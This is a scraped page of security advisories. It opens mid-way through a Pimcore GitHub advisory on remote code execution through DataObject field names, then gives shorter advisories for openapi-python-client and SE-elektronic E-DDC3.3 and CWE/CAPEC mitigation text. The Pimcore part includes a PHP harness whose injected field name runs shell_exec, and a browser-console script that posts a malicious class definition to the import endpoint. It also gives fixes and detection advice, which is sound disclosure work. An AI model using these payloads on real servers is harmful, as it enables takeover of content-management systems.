lib/DataObject/ClassBuilder/SelectOptionsEnumBuilder.php:188 if (!preg_match(\u0027/^[A-Z-a-z_][A-Za-z0-9_]*$/\u0027, $selectOptionName)) { /* reject */ } ```\n\nThe field-name path has no equivalent.\n\n### Parallel SQL-injection sink\n\nThe same field name is concatenated, with backtick **string** quoting (not `quoteIdentifier`), into DDL:\n\n```php // models/DataObject/ClassDefinition/Helper/Dao.php:102 (addModifyColumn \u2014 ADD COLUMN) $this-\u003edb-\u003eexecuteQuery(\u0027ALTER TABLE \u0027 . $table . \u0027 ADD COLUMN \u0027 . $colName . \u0027 \u0027 . $type . ...); // :52/:67 (addIndexToField \u2014 ADD INDEX \u003cprefix\u003e\u003cname\u003e (\u003cname\u003e)) $this-\u003edb-\u003eexecuteQuery(\u0027ALTER TABLE \u0027 . $table . \u0027 ADD \u0027 . $uniqueStr . \u0027INDEX \u0027 . $prefix . $indexName . \u0027 (\u0027 . $columnName . \u0027);\u0027); ```\n\nSource: `models/DataObject/ClassDefinition/Dao.php:228` \u2192 `$this-\u003eaddModifyColumn($objectDatastoreTable, $key, $value-\u003egetColumnType(), \u0027\u0027, \u0027NULL\u0027)`, `$key` = field name. A backtick in the field name breaks out of the quoted identifier.\n\nContrast the patched composite-index sink, now guarded by an allowlist **and** `quoteIdentifier` (`models/DataObject/Traits/CompositeIndexTrait.php`).\n\n### Why validation does not stop it\n\nThe complete field-name validation across the import \u2192 save path:\n\n1. `models/DataObject/ClassDefinition/Service.php:296` (`generateLayoutTreeFromArray`): `preg_match(\u0027/\u003c.+?\u003e/\u0027, $name)` \u2014 rejects only angle-bracket names. Backtick, `;`, `{}`, `()`, quotes, spaces all pass.\n2. 2. `models/DataObject/ClassDefinition/Data.php:1292` (`isForbiddenName()`) \u2014 a reserved-word **denylist** (`in_array(strtolower($name), FORBIDDEN_NAMES)`), no character filtering.\n3. 3. `models/DataObject/ClassDefinition.php:1149` \u2014 validates the **class** name/id only.\nNo allowlist is applied to field names. The Studio UI enforces an identifier pattern client-side; the API does not.\n\n### Reachability / privilege\n\nThe HTTP entry point (`pimcore/studio-backend-bundle`):\n\n```php // src/Class/Controller/DefinitionConfiguration/ImportController.php private const string ROUTE = \u0027/class/definition/configuration-view/detail/{id}/import\u0027;\n\n#[Route(self::ROUTE, name: \u0027pimcore_studio_api_class_definition_import\u0027, methods: [\u0027POST\u0027])] #[IsGranted(UserPermissions::DATA_OBJECTS-\u003evalue)] // UserPermissions::DATA_OBJECTS = \u0027objects\u0027 public function importClassDefinition(string $id, #[MapUploadedFile] UploadedFile $file): JsonResponse { return $this-\u003ejsonResponse( $this-\u003eclassDefinitionService-\u003eimportClassDefinitionFromJson($id, $file-\u003egetContent()) ); } ```\n\n`importClassDefinitionFromJson` \u2192 `ClassDefinitionRepository::importFromJson` \u2192 model `save()` \u2192 `saveClassInternal()`, which runs the DDL (`getDao()-\u003esave()`) and then the PHP class generation (`generateClassFilesInternal()`). The endpoint requires only the `objects` permission (`PR:L`) and performs no field-name validation of its own. The single authorization gate is the route-level `#[IsGranted(\u0027objects\u0027)]`; a DataObject **class definition** is global schema (not a workspace-scoped element), so no element-/workspace-level secondary authorization applies to the import \u2014 `objects` alone reaches the sink, which is what anchors `PR:L`. This is the same import endpoint used in the CVE-2026-5394 PoC.\n\n### Execution order\n\nIn `saveClassInternal()`: field denylist check \u2192 class-name regex \u2192 `getDao()-\u003esave()` (DDL sink fires) \u2192 `generateClassFilesInternal()` (PHP-gen sink fires). The SQLi triggers first; the RCE payload either uses a non-persistent field type (no `ADD COLUMN`) or a \u226464-byte DDL-valid name so the DDL step does not abort before PHP generation.\n\n## Reproduction\n\n### Lab confirmation of the RCE sink (runtime, verified)\n\nUsing the **unmodified** `FieldDefinitionPropertiesBuilder` source driven by a minimal `ClassDefinition` whose single field name is a PHP payload (full harness in the attached `rce_harness.php`):\n\n```php $maliciousName = \u0027pwn; public function __construct(){ echo \"INJECTED-RCE-RAN: \".trim(shell_exec(\"id\")); } private $z\u0027; $cd = new ClassDefinition([$maliciousName =\u003e new \\stdClass()], \u0027PwnDemo\u0027, \u002799\u0027); $props = (new FieldDefinitionPropertiesBuilder())-\u003ebuildProperties($cd); file_put_contents(\u0027/tmp/PwnDemo.php\u0027, \"\u003c?php\\nclass PwnDemo {\\n\".$props.\"}\\n\"); require \u0027/tmp/PwnDemo.php\u0027; new \\PwnDemo(); ```\n\nObserved (`php:8.3-cli`):\n\n```text === generated properties block (real builder output) === protected $classId = \"99\"; protected $className = \"PwnDemo\"; protected $pwn; public function __construct(){ echo \"INJECTED-RCE-RAN: \".trim(shell_exec(\"id\")); } private $z; INJECTED-RCE-RAN: uid=0(root) gid=0(root) groups=0(root) ```\n\nThe real builder emitted a class body containing the attacker\u0027s `__construct()`, and loading the class executed the injected command.\n\n### End-to-end PoC (browser console, against the Studio API)\n\n```js // Run in the browser DevTools console of an authenticated Pimcore Studio session // held by a user with the ordinary \"objects\" (DataObjects) permission. // NON-DESTRUCTIVE marker payload: writes a sentinel file.\n\nconst CLASS_ID = \"REPLACE_WITH_A_THROWAWAY_TEST_CLASS_ID\";\n\nconst fieldName = \u0027x;function __construct(){touch(\"/tmp/pimcore_rce_poc\");}//\u0027;\n\nconst def = { layoutDefinitions: { name: \"pimcore_root\", fieldtype: \"panel\", datatype: \"layout\", children: [ { name: fieldName, fieldtype: \"input\", datatype: \"data\", title: \"poc\" } ] } };\n\nconst fd = new FormData(); fd.append(\"file\", new Blob([JSON.stringify(def)], { type: \"application/json\" }), \"import.json\");\n\nfetch(`/pimcore-studio/api/class/definition/configuration-view/detail/${CLASS_ID}/import`, { method: \"POST\", credentials: \"include\", body: fd, }).then(r =\u003e r.json()).then(console.log); ```\n\nSteps:\n\n1. As a user with only the `objects` permission, create/own a throwaway DataObject class and note its id (`CLASS_ID`).\n2. 2. Open DevTools \u2192 Console and run the snippet above. Expected: a success JSON for the import (the class is regenerated).\n3. 3. Load any object of that class (open it in Studio, or request it) to autoload the regenerated `var/classes/DataObject/\u003cClass\u003e.php`.\n4. 4. Confirm `/tmp/pimcore_rce_poc` was created on the server \u2014 proving the field name executed as PHP.\n## Q0a / Q0b\n\n- **Q0a** (vendor accepted-risk): not by-design. The sibling enum-option generator enforces an identifier allowlist (`SelectOptionsEnumBuilder.php:188` `/^[A-Z-a-z_][A-Za-z0-9_]*$/`) and the composite-index fix added one \u2014 the field-name path simply lacks the equivalent. Source-verified: the only import-path field-name check is `Service.php:297` `preg_match(\u0027/\u003c.+?\u003e/\u0027, $name)` (angle-brackets only; `;{}()`, spaces, backtick all pass), and `FieldDefinitionPropertiesBuilder.php:30` concatenates the raw `$key` into `protected $\u003cname\u003e;`. No upstream allowlist gate exists. PASS.\n- **Q0b** (venue-routed dedup; venue = github-security-advisory): sibling/incomplete-coverage of CVE-2026-5394 / GHSA-r2f4-ff2p-xc64 (DataObject **composite-index** SQL injection), whose fix hardened only `CompositeIndexTrait`. The **field-name** \u2192 PHP-codegen RCE (`FieldDefinitionPropertiesBuilder`) and the field-name \u2192 ALTER TABLE DDL (`Helper/Dao.php`) are distinct, unfixed sinks. Not covered by GHSA-3234 (Custom Reports SQLi, different feature). Not a duplicate. CLEAR.\n- **Secondary sink noted:** `Service.php:517` also concatenates the raw field name into a generated PHP string literal (`public const FIELD_... = \u0027\u003cname\u003e\u0027;`) \u2014 a second codegen-injection point (string-literal breakout via `\u0027`), same root cause; the allowlist fix closes both.\n## Suggested Fix\n\nApply an identifier allowlist to field names at the model boundary, identical in spirit to the enum-option guard and the composite-index fix. In `models/DataObject/ClassDefinition/Data.php` (e.g. in `setName()` or a central validity check invoked from `saveClassInternal()`), reject any name not matching `/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/`:\n\n```php // 63-char cap keeps the name within MySQL\u0027s 64-byte identifier limit (1 leading letter + \u226462). if (!preg_match(\u0027/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/\u0027, $name)) { throw new \\InvalidArgumentException(sprintf(\u0027Invalid field name: %s\u0027, $name)); } ```\n\nAdditionally, defense-in-depth: use `quoteIdentifier()` for `$colName`/`$indexName` in `models/DataObject/ClassDefinition/Helper/Dao.php`, and never interpolate identifiers into generated PHP without allowlisting. Enforce the same check in the Studio import controller/service so client-side-only validation cannot be bypassed via the API.\n\n**Privilege-model fix (root cause, separate from the input filter).** A class-definition import changes the database schema and generates server-side PHP, yet it is gated only by the content-editor `objects` permission. Gate class-definition import/save behind a dedicated administrative permission (or `admin`), distinct from `objects`.\n\n**Operator-side detection / mitigation (deployable today, before a patch):**\n\n- **Detection:** File Integrity Monitoring on `var/classes/DataObject/*.php` \u2014 alert on unexpected changes, and specifically on the appearance of `function`/`__construct(` tokens in a generated class body. Raise the class-definition-import audit event to a high-priority alert. Flag any non-admin POST to `.../class/definition/configuration-view/detail/*/import`.\n- - **Interim mitigation:** restrict the import endpoint to administrators via a custom security voter; or disable class-definition import in production; or add a WAF rule limiting POST `.../class/definition/configuration-view/detail/*/import` to trusted operators.\n### Additional codegen-injection sinks sharing this root cause\n\nThe same \"unvalidated identifier \u2192 generated PHP\" pattern exists at **other identifier boundaries**:\n\n- **Class NAME \u2192 `ClassBuilder.php:104`**: `\u0027class \u0027.ucfirst($classDefinition-\u003egetName()).\u0027 extends \u0027...`. The only gate is `ClassDefinition.php:1149` `preg_match(\u0027/^[a-zA-Z]\\w+/\u0027, getName())` \u2014 **missing the `$` end-anchor**, so `Foo){};\u003cphp\u003e` passes the prefix match.\n- - **FieldCollection / ObjectBrick KEY \u2192 `FieldCollectionClassBuilder.php:58`** (`\u0027class \u0027.ucfirst($definition-\u003egetKey()).\u0027 extends \u0027`) and the objectbrick equivalent \u2014 reached via their own import endpoints.\n**Exploitability caveat:** unlike the runtime-confirmed field-name vector, the class-name vector is **NOT independently confirmed as RCE** and has a structural blocker. The class name determines the generated file\u0027s path, and PHPClassDumper writes the file but does not include it \u2014 the generated class is executed only when the autoloader maps a clean class reference. The field-name vector is reliable precisely because it keeps the filename clean. The class-name/key sinks are therefore reported here as **fix-completeness / defense-in-depth** (anchor the regex), not as a second confirmed RCE.\n\n## Disclosure Timeline\n\n- 2026-05-29: Discovered (sibling sweep of CVE-2026-5394); RCE sink runtime-confirmed in a lab harness using the unmodified builder source.\n- - (Reported to vendor: to be filled on submission via GitHub Security Advisory.)",
"id": "GHSA-9x44-4gxf-8c25",
"modified": "2026-08-28T19:17:42Z",
"published": "2026-08-28T19:17:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-9x44-4gxf-8c25"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/pull/19183"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/commit/a4f8c3cfee58b7d5fe4873d67782eff58dae9b9d"
},
{
"type": "PACKAGE",
"url": "https://github.com/pimcore/pimcore"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/releases/tag/v2026.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pimcore Vulnerable to Remote Code Execution via DataObject Class-Definition Field Name"
}
GHSA-9X4C-63PF-525F
Vulnerability from github – Published: 2020-08-20 14:38 – Updated: 2024-10-07 16:47Impact
Clients generated with a maliciously crafted OpenAPI Document can generate arbitrary Python code. Subsequent execution of this malicious client is arbitrary code execution.
Giving this a CVSS of 8.0 (high) with CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H/E:P/RL:U/RC:C .
Patches
Fix will be included in version 0.5.3
Workarounds
Inspect OpenAPI documents before generating, or inspect generated code before executing.
For more information
If you have any questions or comments about this advisory: * Open an issue in openapi-python-client * Email us at danthony@triaxtec.com
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "openapi-python-client"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-15142"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-14T16:09:33Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\nClients generated with a maliciously crafted OpenAPI Document can generate arbitrary Python code. Subsequent execution of this malicious client is arbitrary code execution.\n\nGiving this a CVSS of 8.0 (high) with CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H/E:P/RL:U/RC:C .\n\n### Patches\nFix will be included in version 0.5.3\n\n### Workarounds\nInspect OpenAPI documents before generating, or inspect generated code before executing.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [openapi-python-client](https://github.com/triaxtec/openapi-python-client/issues)\n* Email us at [danthony@triaxtec.com](mailto:danthony@triaxtec.com)",
"id": "GHSA-9x4c-63pf-525f",
"modified": "2024-10-07T16:47:52Z",
"published": "2020-08-20T14:38:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/triaxtec/openapi-python-client/security/advisories/GHSA-9x4c-63pf-525f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15142"
},
{
"type": "WEB",
"url": "https://github.com/openapi-generators/openapi-python-client/commit/f7a56aae32cba823a77a84a1f10400799b19c19a"
},
{
"type": "WEB",
"url": "https://github.com/triaxtec/openapi-python-client/commit/f7a56aae32cba823a77a84a1f10400799b19c19a"
},
{
"type": "PACKAGE",
"url": "https://github.com/openapi-generators/openapi-python-client"
},
{
"type": "WEB",
"url": "https://github.com/openapi-generators/openapi-python-client/releases/tag/v.0.5.3"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/openapi-python-client/PYSEC-2020-71.yaml"
},
{
"type": "WEB",
"url": "https://github.com/triaxtec/openapi-python-client/blob/main/CHANGELOG.md#053---2020-08-13"
},
{
"type": "WEB",
"url": "https://pypi.org/project/openapi-python-client"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "openapi-python-client Arbitrary Code Generation vulnerability"
}
GHSA-9X52-PXHJ-X4J7
Vulnerability from github – Published: 2024-01-29 15:30 – Updated: 2026-07-20 15:31Remote command execution vulnerability in SE-elektronic GmbH E-DDC3.3 affecting versions 03.07.03 and higher. An attacker could send different commands from the operating system to the system via the web configuration functionality of the device.
{
"affected": [],
"aliases": [
"CVE-2024-1015"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-29T14:15:09Z",
"severity": "CRITICAL"
},
"details": "Remote command execution vulnerability in SE-elektronic GmbH E-DDC3.3 affecting versions 03.07.03 and higher. An attacker could send different commands from the operating system to the system via the web configuration functionality of the device.",
"id": "GHSA-9x52-pxhj-x4j7",
"modified": "2026-07-20T15:31:34Z",
"published": "2024-01-29T15:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1015"
},
{
"type": "WEB",
"url": "https://www.hackplayers.com/2024/01/cve-2024-1014-and-cve-2024-1015.html"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-se-elektronic-gmbh-products"
},
{
"type": "WEB",
"url": "https://www.se-elektronic.com/.well-known/csaf/advisories/2026/se-sa-2026_001.json"
},
{
"type": "WEB",
"url": "https://www.se-elektronic.com/psirt-cybersecurity"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.